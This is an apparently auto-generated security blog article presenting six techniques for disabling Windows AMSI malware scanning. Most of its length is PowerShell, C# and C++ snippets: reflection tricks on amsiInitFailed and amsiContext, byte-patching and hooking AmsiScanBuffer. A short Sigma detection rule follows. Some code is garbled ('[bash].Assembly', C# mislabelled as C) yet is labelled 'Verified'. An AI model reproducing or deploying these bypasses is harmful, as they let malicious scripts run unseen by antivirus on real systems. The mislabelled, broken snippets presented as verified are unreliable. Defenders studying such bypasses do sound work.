Listen to this Post

Introduction:
The Antimalware Scan Interface (AMSI) remains a critical defense mechanism in the Windows security ecosystem, designed to detect and block malicious scripts and payloads in-memory. However, offensive security research continuously evolves, producing novel evasion techniques that challenge its efficacy. This article provides a technical deep dive into the most current AMSI bypass methods, detailing how red teams can leverage them and how blue teams can build detections.
Learning Objectives:
- Understand the core function of AMSI and the `AmsiScanBuffer` API.
- Learn and verify multiple operational bypass techniques for PowerShell and .NET.
- Implement defensive countermeasures and detection strategies for these evasions.
You Should Know:
1. The Fundamentals of AMSI and AmsiScanBuffer
AMSI works by scanning payloads and scripts before they are executed. The primary function targeted for bypass is AmsiScanBuffer(). A simple bypass involves forcing this function to always return a “clean” result (AMSI_RESULT_CLEAN).
Verified PowerShell Bypass (Patching amsiContext):
$a=[bash].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "iUtils") {$c=$b}}; $d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "Context") {$f=$e}}; $g=$f.GetValue($null); [System.Runtime.InteropServices.Marshal]::WriteInt32($g, 0x41414141)
Step-by-step guide:
- The code uses reflection to access internal types within the .NET assembly.
- It specifically searches for the type containing `iUtils` in its name.
- It then finds the static, non-public field named `amsiContext` and retrieves its value.
- Finally, it uses `WriteInt32` to overwrite the value in memory, effectively corrupting the AMSI context and causing subsequent scans to fail. This is a classic memory patching technique.
2. Forcing AmsiScanBuffer to Scan Zero Bytes
Another clever technique manipulates the arguments passed to AmsiScanBuffer. By forcing the `length` parameter to be 0, the function has no data to scan and will return a clean result.
Verified .NET Bypass (In-Memory Patching):
byte[] patch = { 0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3 };
IntPtr lib = Win32.LoadLibrary("amsi.dll");
IntPtr addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, oldProtect, out oldProtect);
Step-by-step guide:
- The `amsi.dll` library is loaded into the process memory.
- The address of the `AmsiScanBuffer` function is located.
- The memory protection of the function’s address space is changed to `PAGE_EXECUTE_READWRITE` (0x40) to allow modification.
- The custom shellcode patch is written directly over the function’s code. This specific patch manipulates the registers to set the buffer length to zero before returning.
5. The original memory protection is restored.
3. PowerShell Reflection-Based Bypass
This method utilizes .NET reflection to nullify the `amsiInitFailed` flag, tricking AMSI into believing initialization failed and thus disabling scans.
Verified PowerShell Command:
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Step-by-step guide:
1. It accesses the `System.Management.Automation.AmsiUtils` class.
2. It retrieves the private, static field `amsiInitFailed`.
- It sets the value of this field to
$true. When this flag is true, PowerShell bypasses AMSI scanning entirely. This is one of the most well-known and frequently patched bypasses, but variations still appear.
4. Hooking and Argument Manipulation
Advanced techniques involve hooking the `AmsiScanBuffer` function to manipulate its arguments on the stack. By using a trampoline, an attacker can pop arguments from the stack or permanently set them to invalid values like zero.
Verified C++ Snippet (Inline Hooking):
// Hook Function Prototype
typedef HRESULT (WINAPI tAmsiScanBuffer)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT result);
tAmsiScanBuffer oAmsiScanBuffer;
// Hooked Function
HRESULT WINAPI hkAmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT result) {
// Set length to 0 to force a clean scan
return oAmsiScanBuffer(amsiContext, buffer, 0, contentName, amsiSession, result);
}
Step-by-step guide:
- Define a function pointer type (
tAmsiScanBuffer) matching the original `AmsiScanBuffer` signature. - Create a hooked function (
hkAmsiScanBuffer) that intercepts calls. - Inside the hooked function, the `length` argument is changed to `0` before passing the call to the original function.
- This is typically deployed via DLL injection or other code injection methods to hook the function across the process.
5. Bypass via Memory Allocation and Permission Manipulation
This technique allocates a new memory region with execute permissions, copies a benign version of `AmsiScanBuffer` there, and redirects execution flow to bypass any patches or hooks on the original function.
Verified WinAPI Commands:
HMODULE hAmsi = GetModuleHandleA("amsi.dll");
FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
LPVOID newMem = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(newMem, pAmsiScanBuffer, 0x100); // Copy original function bytes
// ... (Apply minimal patch to the copy in newMem)
// Redirect all calls to the patched copy
Step-by-step guide:
- Get the base address of `amsi.dll` and the address of
AmsiScanBuffer. - Use `VirtualAlloc` to allocate a new, executable memory page.
- Copy the original bytes of the `AmsiScanBuffer` function into this new memory region.
- Apply a specific patch to this copy (e.g., a patch that sets the return value to
AMSI_RESULT_CLEAN). - Use a hooking engine to redirect all calls from the original `AmsiScanBuffer` to this new, patched version in the custom memory space.
6. Utilizing .NET Delegates for Unmanaged Code Execution
This method uses .NET to create a delegate for an unmanaged function pointer, allowing managed code to directly call and manipulate low-level Windows APIs, which can be used to patch AMSI in a more controlled manner.
Verified C Code:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr AmsiScanBufferDelegate(IntPtr amsiContext, IntPtr buffer, uint length, IntPtr contentName, IntPtr amsiSession, out uint result);
IntPtr funcAddr = GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer");
AmsiScanBufferDelegate amsiScanBuffer = (AmsiScanBufferDelegate)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(AmsiScanBufferDelegate));
// Now you can call amsiScanBuffer() from C and manipulate inputs/outputs.
Step-by-step guide:
- Define a delegate with the exact signature of
AmsiScanBuffer. - Obtain the function pointer for `AmsiScanBuffer` from
amsi.dll. - Use `Marshal.GetDelegateForFunctionPointer` to create a callable .NET delegate from the unmanaged function pointer.
- This delegate can now be invoked like any other function, but it also opens the door for further manipulation, such as using it in conjunction with code that modifies the parameters or return values in a .NET-friendly way.
7. Defensive Detection Strategies
Understanding these bypasses is useless without knowing how to defend against them. Defenders should monitor for the specific behaviors associated with these techniques.
Verified Sigma Rule Snippet (Detecting AMSI Patching):
title: AMSI Bypass via Memory Patching logsource: category: process_creation detection: selection: CommandLine|contains: - 'AmsiUtils' - 'amsiInitFailed' - 'amsiContext' - 'AmsiScanBuffer' - 'VirtualProtect' - 'WriteInt32' condition: selection
Step-by-step guide:
- This Sigma rule is designed for a Security Information and Event Management (SIEM) system.
- It triggers on process creation events where the command-line argument contains keywords indicative of AMSI bypass attempts.
- Keywords include the names of critical classes (
AmsiUtils), fields (amsiInitFailed,amsiContext), functions (AmsiScanBuffer,VirtualProtect), and methods (WriteInt32) used in the aforementioned techniques. - This is a high-level detection that can generate alerts for further investigation by a security analyst.
What Undercode Say:
- The Cat-and-Mouse Game is Accelerating. The evolution from simple reflection-based bypasses to sophisticated stack manipulation and in-memory patching shows a rapid maturation of offensive techniques. Defensive tools that rely solely on signature-based detection of known bypass scripts are already obsolete.
- The Blurring Line Between Malware and Legitimate Tools. Many of these techniques use standard Windows API and .NET functions, making it increasingly difficult to distinguish malicious activity from legitimate software operations without robust behavioral analytics.
The core analysis reveals that AMSI, while a valuable security control, is fundamentally vulnerable because it operates within the user’s process space. Any code running with sufficient privileges in that process can modify AMSI’s data structures, code, or behavior. The future of this defensive layer may not lie in making it “unpatchable,” but in moving its scanning logic to a more protected, kernel-level component or supplementing it with robust EDR solutions that monitor for the behavioral patterns of these bypasses, such as unexpected calls to `VirtualProtect` on `amsi.dll` regions or the use of specific .NET reflection patterns.
Prediction:
The continued publication and refinement of AMSI bypass techniques will lead to their widespread weaponization in automated attack frameworks and commodity malware within the next 12-18 months. This will significantly degrade the detection capabilities of AMSI-dependent security products, forcing a industry-wide pivot towards more integrated defense-in-depth strategies. The future of endpoint security will rely less on any single in-process scanning interface and more on the correlation of multiple telemetry sources from EDRs, network sensors, and kernel-level monitors to detect the behavior of an attack, regardless of the initial script-based loader.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sektor7 Institute – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


